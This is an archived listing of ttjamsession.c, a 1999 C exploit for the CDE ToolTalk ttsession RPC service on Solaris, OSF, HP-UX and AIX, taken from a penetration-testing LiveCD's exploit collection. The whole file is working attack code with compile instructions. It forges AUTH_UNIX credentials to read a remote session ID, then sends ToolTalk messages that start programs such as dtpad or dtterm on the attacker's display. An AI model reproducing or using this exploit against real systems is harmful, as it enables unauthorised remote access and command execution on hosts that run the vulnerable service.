home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / ttjamsession.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  335 lines

  1. /*
  2.  * ttjamsession.c
  3.  * Job de Haas
  4.  * (c) ITSX bv 1999
  5.  *
  6.  * Solaris 7, 2.6, 2.5.1
  7.  * OSF v4.0
  8.  * HP-UX B.10.20
  9.  * AIX 2 4 000096754200
  10.  *
  11.  * This is a simple ttsession exploit to show some problems with
  12.  * authentication of a remote user. The possibilities after authentication
  13.  * are not limited to starting dtpad, but rather any ptype as can be shown
  14.  * with tt_type_comp. On Solaris this includes dtterm.
  15.  *
  16.  * compile with:
  17.  * cc -L/usr/dt/lib -I/usr/dt/include -I/usr/openwin/include -ltt -lnsl
  18.  *    ttjamsession.c -o ttjamsession
  19.  *
  20.  */
  21.  
  22. #include <stdio.h>
  23. #include <stdlib.h>
  24. #include <rpc/rpc.h>
  25. #include <string.h>
  26. #include <netdb.h>
  27. #include <arpa/inet.h>
  28. #include <pwd.h>
  29.  
  30. #include <Tt/tt_c.h>
  31. #include <Tt/tttk.h>
  32.  
  33. #define TTSESSION_PROG      1342177279
  34. #define TTSESSION_PROG_SOL7 1289637086
  35. #define TTSESSION_VERS      3
  36. #define TTSESSION_GETSESSID 400
  37.  
  38. long rpcprog = TTSESSION_PROG;
  39. int  version = TTSESSION_VERS;
  40. long uid = -1;
  41. int use_env = 0;
  42. int test = 0;
  43.  
  44. /*
  45.  * For some reason the string is not returned with xdr_wrapstring. After
  46.  * some fiddling this seems to work.
  47.  *
  48.  */
  49. xdr_mystring(xdrs, objp)
  50. register XDR *xdrs;
  51. char **objp;
  52. {
  53.   int    len;
  54.  
  55.   if (!xdr_int(xdrs, &len))
  56.     {
  57.       return 0;
  58.     }
  59.  
  60.   *objp =  (char *)malloc(len + 1);
  61.   if (xdr_opaque(xdrs, (caddr_t)*objp, len))
  62.     {
  63.       (*objp)[len] = '\0';
  64.     }
  65.   else
  66.     {
  67.       return 0;
  68.     }
  69.  
  70.   return(1);
  71. }
  72.  
  73.  
  74. /*
  75.  * This is some generated code by ttsnoop (nice program! at least on sol 2.6)
  76.  * It was modified a bit to get it to spawn the program on the correct display
  77.  */
  78.  
  79. Tt_callback_action
  80. process_Instantiate_reply( Tt_message msg, Tt_message pat );
  81.  
  82. Tt_message
  83. create_Instantiate(
  84.   Tt_message context,
  85.   char *action
  86. )
  87. {
  88.   Tt_message msg;
  89.   msg = tttk_message_create( context, TT_REQUEST, TT_SESSION,
  90.                              0, action,
  91.                              (Tt_message_callback)process_Instantiate_reply );
  92.   tt_message_arg_add( msg, TT_IN, "data", "data");
  93.   tt_message_context_set( msg, "$DISPLAY",  getenv("DISPLAY"));
  94.   tt_message_disposition_set( msg, TT_START);
  95.   tt_message_handler_ptype_set( msg, "DTPAD");
  96.   return msg;
  97. }
  98.  
  99. static Tt_callback_action
  100. process_Instantiate_reply(
  101.   Tt_message msg,
  102.   Tt_message pat
  103. )
  104. {
  105.   switch (tt_message_state(msg))
  106.     {
  107.     case TT_SENT:    /* handler is in this process */
  108.     case TT_STARTED:/* intermediate state */
  109.     case TT_QUEUED:    /* intermediate state */
  110.     default:    /* unknown state */
  111.       return TT_CALLBACK_CONTINUE;
  112.     case TT_HANDLED:
  113.       /* ... */
  114.       break;
  115.     case TT_FAILED:
  116.       {
  117.         int status;
  118.         char *string;
  119.         status = tt_message_status( msg );
  120.         string = tt_message_status_string( msg );
  121.  
  122.         printf("message failed with: %s\n",string);
  123.         /* ... */
  124.       }
  125.       break;
  126.     }
  127.   tt_message_destroy( msg );
  128.   return TT_CALLBACK_PROCESSED;
  129. }
  130.  
  131. /*
  132.  * The routine to get the remote sessionid string.
  133.  *
  134.  */
  135. int
  136. get_sessionid( remotehost, port)
  137. char *remotehost;
  138. ushort port;
  139. {
  140.   struct sockaddr_in  server_addr;
  141.   enum clnt_stat      clnt_stat;
  142.   struct hostent      *hp;
  143.   struct timeval      timeout;
  144.   CLIENT              *clnt;
  145.   int                 msock;
  146.   char                 *buf;
  147.   char                *env;
  148.   char                *hostname;
  149.   char                localhost[MAXHOSTNAMELEN];
  150.  
  151.   memset((char *)&server_addr, 0, sizeof (server_addr));
  152.  
  153.   if (remotehost)
  154.     {
  155.       server_addr.sin_family = AF_INET;
  156.       server_addr.sin_addr.s_addr = inet_addr(remotehost);
  157.       if ( server_addr.sin_addr.s_addr == -1 )
  158.         {
  159.           if ((hp = gethostbyname(remotehost)) == NULL)
  160.             {
  161.               printf("Can't resolve %s\n",remotehost);
  162.               exit(1);
  163.             }
  164.           memcpy((char *)&server_addr.sin_addr, hp->h_addr, hp->h_length);
  165.           hostname = strdup( remotehost );
  166.         }
  167.     }
  168.   else
  169.     {
  170.       if (gethostname(localhost, MAXHOSTNAMELEN)<0)
  171.         {
  172.           perror("gethostname");
  173.           exit(1);
  174.         }
  175.       if (hp = gethostbyname(localhost))
  176.         {
  177.           memcpy((char *)&server_addr.sin_addr, hp->h_addr, hp->h_length);
  178.           hostname = strdup( localhost );
  179.         }
  180.       else
  181.         {
  182.           server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
  183.           hostname = strdup( "127.0.0.1" );
  184.         }
  185.     }
  186.  
  187.  
  188.   server_addr.sin_family = AF_INET;
  189.   server_addr.sin_port = htons(port);
  190.   msock = RPC_ANYSOCK;
  191.   timeout.tv_sec = 15;
  192.   timeout.tv_usec = 0;
  193.  
  194.   if ( (clnt = (CLIENT *)clnttcp_create(&server_addr, rpcprog,
  195.                                         TTSESSION_VERS, &msock, 10000, 10000)) == NULL)
  196.     {
  197.       clnt_pcreateerror("clnttcp_create");
  198.       exit(1);
  199.     }
  200.  
  201.   /*
  202.    * apparently credentials are not checked!
  203.    */
  204.   clnt->cl_auth = authunix_create(hostname, 0, 0, 0, NULL);
  205.  
  206.   if ((clnt_stat = clnt_call(clnt, TTSESSION_GETSESSID,
  207.                              (xdrproc_t) xdr_void, (caddr_t) 0,
  208.                              (xdrproc_t) xdr_mystring, (caddr_t) &buf,
  209.                              timeout)) != RPC_SUCCESS)
  210.     {
  211.       clnt_perror(clnt, "get session");
  212.       return(-1);
  213.     }
  214.  
  215.   /*
  216.    * put TT_SESSION in the environment for tt_open to use.
  217.    */
  218.   env = malloc( strlen("TT_SESSION=") + strlen( buf+2 ) +1);
  219.   strcpy(env,"TT_SESSION=");
  220.   strcat(env,buf+2);
  221.   putenv( env );
  222.  
  223.   printf("Session ID: %s\n", buf);
  224.  
  225.   return(0);
  226. }
  227.  
  228. usage(progname)
  229. char *progname;
  230. {
  231.   fprintf(stderr,
  232.           "Usage: %s [-p port] [-r rpc prognumber] [-u uid]\n", progname);
  233.   fprintf(stderr,"        [-7] [-t] [-e] hostname\n");
  234.   fprintf(stderr,"[-7] use Solaris 7 default ttsession program number\n");
  235.   fprintf(stderr,"[-t] test the RPC call but not send messages\n");
  236.   fprintf(stderr,"[-e] get TT_SESSION from environment (no RPC call)\n");
  237.   exit(-1);
  238. }
  239.  
  240. int main(argc, argv)
  241. int argc;
  242. char **argv;
  243. {
  244.   char *hostname = NULL;
  245.   struct in_addr addr;
  246.   extern  int optind;
  247.   extern  char *optarg;
  248.   short port = 0;
  249.   char c, *cp;
  250.   Tt_message context, msg;
  251.   char *procid;
  252.  
  253.   while ((c = getopt(argc, argv, "u:p:r:7et")) != EOF)
  254.     {
  255.  
  256.       switch (c)
  257.         {
  258.         case 'r':
  259.           rpcprog = atoi(optarg);
  260.           break;
  261.         case 'p':
  262.           port = atoi(optarg);
  263.           break;
  264.         case 'u':
  265.           uid = atoi(optarg);
  266.           break;
  267.         case '7':
  268.           rpcprog = TTSESSION_PROG_SOL7;
  269.           break;
  270.         case 'e':
  271.           use_env = 1;
  272.           break;
  273.         case 't':
  274.           test = 1;
  275.           break;
  276.         default:
  277.           usage(argv[0]);
  278.         }
  279.     }
  280.  
  281.   if (optind < argc)
  282.     {
  283.       hostname = strdup(argv[optind++]);
  284.     }
  285.  
  286.   if (optind < argc)
  287.     {
  288.       port = atoi(argv[optind++]);
  289.     }
  290.  
  291.   if (optind < argc)
  292.     {
  293.       usage(argv[0]);
  294.     }
  295.  
  296.   /* setup the socket and test correct service */
  297.   if ( !use_env && (get_sessionid( hostname, port ) < 0 ))
  298.     {
  299.       printf("Failed to properly connect to ttsession\n");
  300.       exit(1);
  301.     }
  302.  
  303.   if (test) exit(0);
  304.  
  305.   /*
  306.    * Open up the channel to ttsession. The code uses the TT_SESSION
  307.    * environment var to figure out how.
  308.    */
  309.   if (((procid = tt_open()) == NULL) || (*procid == '\0'))
  310.     {
  311.       perror("tt_open");
  312.       exit(1);
  313.     }
  314.  
  315.   /*
  316.    * Now we can send messages... like instantiate a dtpad!
  317.    * Two messages are sent to cause a new dtpad -server to be started
  318.    * so that the dtpad will be displayed on our server even if the local
  319.    * user is also using dtpad. I use sleep cause I can't seem to trigger
  320.    * the callback.
  321.    *
  322.    */
  323.   msg = create_Instantiate(context, NULL);
  324.   tt_message_send(msg);
  325.   sleep(10);
  326.   msg = create_Instantiate(context, "Instantiate");
  327.   tt_message_send(msg);
  328.   sleep(10);
  329.  
  330.   /* no idea if I got to wait for the callback */
  331.  
  332.   exit(0);
  333. }
  334.  
  335. /*                    www.hack.co.za              [2000]*/